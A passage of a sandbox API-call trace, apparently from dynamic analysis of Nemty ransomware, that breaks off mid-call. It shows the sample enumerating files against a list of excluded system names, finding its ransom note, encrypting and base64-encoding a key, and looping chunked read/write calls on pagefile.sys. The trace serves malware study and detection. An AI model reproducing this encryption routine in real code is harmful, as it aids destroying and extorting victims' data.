hHeap=0x4f90000) returned 1 [0051.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0051.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.220] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0051.220] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0051.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63455d0 | out: hHeap=0x4f90000) returned 1 [0051.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0051.220] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf964890, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf964890, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf98a9f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0051.220] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0051.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0051.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.221] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf964890, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf964890, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf98a9f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0051.221] FindClose (in: hFindFile=0x34239b0 | out: hFindFile=0x34239b0) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.221] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0051.221] lstrcmpiW (lpString1="pagefile.sys", lpString2=".") returned 1 [0051.221] lstrcmpiW (lpString1="pagefile.sys", lpString2="..") returned 1 [0051.221] lstrcmpiW (lpString1="pagefile.sys", lpString2="...") returned 1 [0051.221] lstrcmpiW (lpString1="pagefile.sys", lpString2="windows") returned -1 [0051.221] lstrcmpiW (lpString1="pagefile.sys", lpString2="$RECYCLE.BIN") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="rsa") returned -1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="NTDETECT.COM") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="ntldr") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="MSDOS.SYS") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="IO.SYS") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="boot.ini") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="boot.ini") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="AUTOEXEC.BAT") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="ntuser.dat") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="desktop.ini") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="CONFIG.SYS") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="RECYCLER") returned -1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="BOOTSECT.BAK") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="bootmgr") returned 1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="programdata") returned -1 [0051.222] lstrcmpiW (lpString1="pagefile.sys", lpString2="appdata") returned 1 [0051.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x653fc10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagefile.sys", lpUsedDefaultChar=0x0) returned 12 [0051.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x653fc10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagefile.sys", lpUsedDefaultChar=0x0) returned 12 [0051.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x653fc60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagefile.sys", lpUsedDefaultChar=0x0) returned 12 [0051.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pagefile.sys", cchWideChar=12, lpMultiByteStr=0x653fc98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pagefile.sys", lpUsedDefaultChar=0x0) returned 12 [0051.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.222] Sleep (dwMilliseconds=0x5) [0051.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653fb24 | out: lpSystemTimeAsFileTime=0x653fb24*(dwLowDateTime=0xd22e6830, dwHighDateTime=0x1d561e7)) [0051.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653fb24 | out: lpSystemTimeAsFileTime=0x653fb24*(dwLowDateTime=0xd22e6830, dwHighDateTime=0x1d561e7)) [0051.228] GetLastError () returned 0x12 [0051.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.228] GetLastError () returned 0x12 [0051.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f960*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f960*=0x100) returned 1 [0051.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f964*, pdwDataLen=0x653f950*=0x10, dwBufLen=0x100 | out: pbData=0x653f964*, pdwDataLen=0x653f950*=0x100) returned 1 [0051.229] CryptBinaryToStringA (in: pbBinary=0x653f964, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f95c | out: pszString=0x0, pcchString=0x653f95c) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0051.229] CryptBinaryToStringA (in: pbBinary=0x653f964, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f95c | out: pszString="ZgzD9YHXzEBXyfmWbW15pHw3XyhOpgpacd71orJca1lSS7e2BTUu8EC9TqF75LFh\r\n+AHoVSlHjYJm7Io2dvrDCXoFXtIGHD36TvMpGIhN6eybHLF2ObFhz3Im3W2cgyF6\r\nl+Eu+n3xIws9x16SlskEdcj44QFCcEXKRYMJJOAwTxfBSsUXAnCWjBmfJLTJQf6d\r\nvRheLaBwd69AjezgDYdK76MxCdIjpZqoRZ/UY+8K33AnVSwCtjiS7qyaIanPIDUw\r\nJxUh9u3xd3wxuozZpEVj1qjqeg3DkuY/pjKhCnLYV38B0tHgBiDpZAg8cwyxv42p\r\na7fQIJ/m1OnJ157N0JkrLg==\r\n", pcchString=0x653f95c) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0051.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0051.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0051.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.229] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.229] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653fbb0 | out: lpFileSize=0x653fbb0*=18150282790960100) returned 0 [0051.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51483634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51483634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51643634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51643634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51803634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51803634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51963634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51963634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52123634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52123634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52283634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52283634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52443634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52443634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52603634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653fba4*=0x0, lpOverlapped=0x0) returned 0 [0051.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52603634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653fb9c, lpOverlapped=0x0) returned 0 [0051.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52763634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653fba4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, 